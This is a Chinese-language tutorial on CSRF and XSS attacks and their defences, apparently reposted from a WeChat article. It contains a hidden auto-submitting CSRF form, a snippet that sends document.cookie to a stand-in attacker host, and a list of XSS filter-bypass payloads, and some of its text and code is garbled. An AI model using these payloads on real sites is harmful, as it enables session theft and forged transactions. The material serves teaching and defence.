CSRF、XSS攻防原理及解決方案

原文出自CSRF、XSS攻防原理及解決方案https://juejin.im/post/6874730741989801997#heading-6javascript

1、CSRF

CSRF 全稱叫作,跨站請求僞造(Cross—Site Request Forgery),顧名思義,攻擊者盜用了你的身份,以你的名義發送惡意請求,對服務器來講這個請求是徹底合法的,可是卻完成了攻擊者所指望的一個操做,好比以你的名義發送郵件、發消息,盜取你的帳號,添加系統管理員,甚至於購買商品、虛擬貨幣轉帳等。對於服務器而言,判斷請求對象是不是你自己的方法限於提供身份認證的cookie、祕鑰等,沒法去識別個體。html

原理介紹、流程分析

如下,舉例模擬一個被CSRF攻擊影響的例子:前端

  1. 用戶C打開瀏覽器,訪問受信任網站A,輸入用戶名和密碼請求登陸網站A;
  2. 在用戶信息經過驗證後,網站A產生Cookie信息並返回給瀏覽器,此時用戶登陸網站A成功,能夠正常發送請求到網站A;
  3. 用戶未退出網站A以前,在同一瀏覽器中,打開一個TAB頁訪問網站B;
  4. 網站B接收到用戶請求後,返回一些攻擊性代碼,併發出一個請求要求訪問第三方站點A;
  5. 瀏覽器在接收到這些攻擊性代碼後,根據網站B的請求,在用戶不知情的狀況下攜帶Cookie信息,向網站A發出請求。網站A並不知道該請求實際上是由B發起的,因此會根據用戶C的Cookie信息以C的權限處理該請求,致使來自網站B的惡意代碼被執行。

更爲具體的舉例,僞造請求的方式通常有以下幾種方式:java

    // 頁面中有一個超連接,誘導用戶進行點擊
    
    <a href="https://aaa.com?userid=3&money=9999">誘導信息</a>
    
    // 直接在頁面上使用Img進行get請求
    
    <img src="https://aaa.com?userid=3&money=9999"/>
    
    // 或使用表單進行提交
    
    <iframe name="heihei" style="display:none;"></iframe>
    
    <form action="https://aaa.com?userid=3&money=9999" method="post" target="heihei" >
    
    <input name="userid" value="3" type="hidden" />
    
    <input name="money" value="9999" type="hidden" />
    
    </form>
    
    <script>
    window.onload = function(){
      document.forms[0].submit();
    }
    </script>

CSRF漏洞檢測

檢測CSRF漏洞是一項比較繁瑣的工做,最簡單的方法就是抓取一個正常請求的數據包,去掉Referer字段後再從新提交,若是該提交還有效,那麼基本上能夠肯定存在CSRF漏洞。web

固然咱們也能夠試着利用根據來進行漏洞檢測,隨着對CSRF漏洞研究的不斷深刻,不斷涌現出一些專門針對CSRF漏洞進行檢測的工具,如CSRFTester,CSRF Request Builder等。算法

以CSRFTester工具爲例,CSRF漏洞檢測工具的測試原理以下:使用CSRFTester進行測試時,首先須要抓取咱們在瀏覽器中訪問過的全部連接以及全部的表單等信息,而後經過在CSRFTester中修改相應的表單等信息,從新提交,這至關於一次僞造客戶端請求。若是修改後的測試請求成功被網站服務器接受,則說明存在CSRF漏洞,固然此款工具也能夠被用來進行CSRF攻擊。express

CSRF防護原理

根據以上的方式咱們能顯而易見看到,問題就出在「訪問網站B」和「攜帶Cookie信息」上。針對CRSF攻擊,CSRF防禦的一個重點是要對「用戶憑證」進行校驗處理,經過這種機制能夠對用戶的請求是合法進行判斷,判斷是否是跨站攻擊的行爲。由於「用戶憑證」是Cookie中存儲的,因此防禦機制的處理對像也是Cookie的數據,咱們要在防禦的數據中加入簽名校驗,並對數據進行生命週期時間管理,就是數據過時管理。瀏覽器

由此得出,CSRF防禦的一個重點是要對「用戶憑證」進行校驗處理,經過這種機制能夠對用戶的請求是合法進行判斷,判斷是否是跨站攻擊的行爲。由於「用戶憑證」是Cookie中存儲的,因此防禦機制的處理對像也是Cookie的數據,咱們要在防禦的數據中加入簽名校驗,並對數據進行生命週期時間管理,就是數據過時管理。安全

防護思路

針對防止CSRF的發生,建立Token處理機制,Token數據結構與時間、加密簽名直接相關, 這麼設計的的目的如上所說,是給「身份憑證」加上時間生存週期管理和簽名校驗管理,若是的憑證被人拿到了, 要先判斷Token中的「簽名」與時間戳是否都有效,再進行正常的業務處理, 這樣經過對非法數據的校驗過濾,來下降CSRF攻擊的成功率。服務器

簽名與時間戳防禦處理流程

在token中加入上述方法中所描述的時間戳信息和簽名信息:

-----------------------------------------------------------------------------
| msg | separator | signature |
-----------------------------------------------------------------------------
| key | timestamp | . | Base64(sha256(msg)) |
-----------------------------------------------------------------------------
  1. msg部分:key即隨機生成的字符串用做用戶憑證認證+timestamp時間戳驗證時間用
  2. separator部分:用於分隔msg部分與加密後生成的signature簽名部分
  3. signature部分:signature即簽名,是對「msg消息」用特定算法進行加密後的串。
token = base64(msg)格式化..base64(sha256("密鎖", msg))

整個Token就是由被Base64的msg編碼串+先256加密msg再進行Base64編碼,兩個串的內容結合。

Token校驗

在整個防護作法中,對於token的校驗流程爲:

  1. 在服務器端對接收到的token進行分片,以分隔符進行分割,獲取信息內容和簽名
  2. 對於簽名驗證,對信息進行解碼,若是經過則進入時間校驗
  3. 若是簽名有效的,取出msg中的timestamp字段數據,與當前系統時間進行比較,若是過時時間小於當前時間,那這個token是過時的,須要從新的取得token。

2、XSS

XSS(跨站腳本攻擊,Cross-site scripting,簡稱並非 CSS,由於 CSS是 層疊樣式表)是一種常見的 web 安全問題。XSS 攻擊手段是容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。

XSS攻擊類型區分

① 反射型

反射型 XSS攻擊 一般是簡單地把用戶輸入的數據「反射」給瀏覽器。黑客通常會誘使用戶點擊一個有惡意的連接,用戶點擊就會發起 XSS 攻擊。反射型 XSS 攻擊能夠將 JavaScript 腳本插入到 HTML 節點中、HTML 屬性中以及經過 JS 注入到 URL 或 HTML 文檔中。

② 儲存型

存儲型 XSS攻擊 這種攻擊會把用戶輸入的數據存儲到服務器中。例如在一個有 XSS 漏洞的博客網站,黑客寫下一篇含有惡意 JavaScript 代碼的文章,文章發佈後,全部看了這篇博文的用戶都會在他們的瀏覽器中執行惡意 JavaScript 代碼。

③ DOM-based 型

注意:這種類型的劃分與以上兩種類型劃分方式不一樣,是按照Payload的位置劃分

DOM-based 型XSS攻擊 基於 DOM 的 XSS 攻擊是指經過惡意腳本修改頁面的 DOM 結構,是純粹發生在客戶端的攻擊。DOM 型 XSS 攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬於前端 JavaScript 自身的安全漏洞。

發起 XSS 攻擊後,黑客寫入的 JavaScript 代碼就會執行,經過腳本能夠控制用戶的瀏覽器。一個常見的攻擊手段是「Cookie 劫持」,cookie 中通常加密保存着當前用戶的登陸憑據,黑客能夠經過惡意代碼將用戶的 cookie 發到本身的服務器上,而後就能夠作到無密碼登陸上用戶的帳戶。

實現XSS攻擊的條件

  1. 須要向web頁面注入惡意代碼;
  2. 這些惡意代碼可以被瀏覽器成功的執行。

會利用XSS攻擊獲取什麼?

  1. 竊取cookies,讀取目標網站的cookie發送到黑客的服務器上,以下面的代碼:
var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;

在此提到來自瀏覽器的自帶防護,瀏覽器針對於這類問題的存在,對於DOM對象的訪問會有本身的禁用方式,避免最基本的XSS注入。例如在舊版的IE8和IE8如下的版本都是能夠被執行的,火狐也能執行代碼,但火狐對其禁止訪問DOM對象,因此在火狐下執行將會看到控制裏拋出異常:document is not defined

  1. 讀取用戶未公開的資料,若是:郵件列表或者內容、系統的客戶資料,聯繫人列表等等,如代碼
  2. 篡改網頁,進行釣魚或者惡意傳播
  3. 網站重定向

XSS的防護

具體舉例:注入轉義

對於URL作解析時和發起get請求時都會須要讀取URL攜帶的參數,若是將 url 中的參數直接插入到 DOM 中,這就有可能構成 XSS 攻擊,攻擊者利用這一漏洞,給其餘用戶發送一個有惡意的連接,用戶就有可能中招。如:

http://www.example/test.index?param=<script>alert('XSS')</script>

這個 URL 的 param 參數值並非合理的,而是攻擊者構建的。

再如:一個超連接中的URL

<a href='http://www.xss.com?cookie='+document.cookie>

上述方式能夠經過點擊連接的方式注入XSS,去獲取當前用戶的Cookie。

防護方式:

  1. 當惡意代碼值被做爲某一標籤的內容顯示:在不須要html輸入的地方對html 標籤及一些特殊字符( 」 < > & 等等 )作過濾,將其轉化爲不被瀏覽器解釋執行的字符。
  2. 當惡意代碼被做爲某一標籤的屬性顯示,經過用 「將屬性截斷來開闢新的屬性或惡意方法:屬性自己存在的 單引號和雙引號都須要進行轉碼;對用戶輸入的html 標籤及標籤屬性作白名單過濾,也能夠對一些存在漏洞的標籤和屬性進行專門過濾。

常見的xss攻擊方法

  1. 繞過XSS-Filter,利用<>標籤注入Html/JavaScript代碼;
  2. 利用HTML標籤的屬性值進行xss攻擊。例如:
<img src=「javascript:alert(‘xss’)」/>

(固然並非全部的Web瀏覽器都支持Javascript僞協議,因此此類XSS攻擊具備必定的侷限性)

  1. 空格、回車和Tab。若是XSS Filter僅僅將敏感的輸入字符列入黑名單,好比javascript,用戶能夠利用空格、回車和Tab鍵來繞過過濾,例如:
<img src=「javas  cript:alert(/xss/);」/>
  1. 利用事件來執行跨站腳本。例如:
<img src=「#」 onerror「alert(1)」/>

當src錯誤的視乎就會執行onerror事件

  1. 利用CSS跨站。例如:
Body {
   backgrund-imageurl(「javascript:alert(‘xss’)」)
}
  1. 擾亂過濾規則。例如:
    <IMG SRC=「javaSCript: alert(/xss/);」/>
  1. 利用字符編碼,透過這種技巧,不只能讓XSS代碼繞過服務端的過濾,還能更好地隱藏Shellcode;(JS支持unicode、eacapes、十六進制、十進制等編碼形式)
  2. 拆分跨站法,將xss攻擊的代碼拆分開來,適用於應用程序沒有過濾 XSS關鍵字符(如 <>)卻對輸入字符長度有限制的狀況下;
  3. DOM型的XSS主要是由客戶端的腳本經過DOM動態地輸出數據到頁面上,它不依賴於提交數據到服務器,而是從客戶端得到DOM中的數據在本地執行。容易致使DOM型的XSS的輸入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage;

XSS攻擊防護

原則:不相信客戶輸入的數據

注意: 攻擊代碼不必定在<script></script>

  1. 使用XSS Filter。

輸入過濾,對用戶提交的數據進行有效性驗證,僅接受指定長度範圍內並符合咱們指望格式的的內容提交,阻止或者忽略除此外的其餘任何數據。好比:電話號碼必須是數字和中劃線組成,並且要設定長度上限。過濾一些些常見的敏感字符,例如:< > ‘ 「 & # \ javascript expression "onclick=" "onfocus";過濾或移除特殊的Html標籤, 例如: <script>, <iframe> , < for <, > for >, &quot for;過濾JavaScript 事件的標籤,例如 "onclick=", "onfocus" 等等。

輸出編碼,當須要將一個字符串輸出到Web網頁時,同時又不肯定這個字符串中是否包括XSS特殊字符(如< > &‘」等),爲了確保輸出內容的完整性和正確性,可使用編碼(HTMLEncode)進行處理。

  1. DOM型的XSS攻擊防護

把變量輸出到頁面時要作好相關的編碼轉義工做,如要輸出到 <script>中,能夠進行JS編碼;要輸出到HTML內容或屬性,則進行HTML編碼處理。根據不一樣的語境採用不一樣的編碼處理方式。

  1. HttpOnly Cookie

    將重要的cookie標記爲http only, 這樣的話當瀏覽器向Web服務器發起請求的時就會帶上cookie字段,可是在腳本中卻不能訪問這個cookie,這樣就避免了XSS攻擊利用JavaScript的document.cookie獲取cookie:


本文分享自微信公衆號 - JavaScript忍者祕籍(js-obok)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索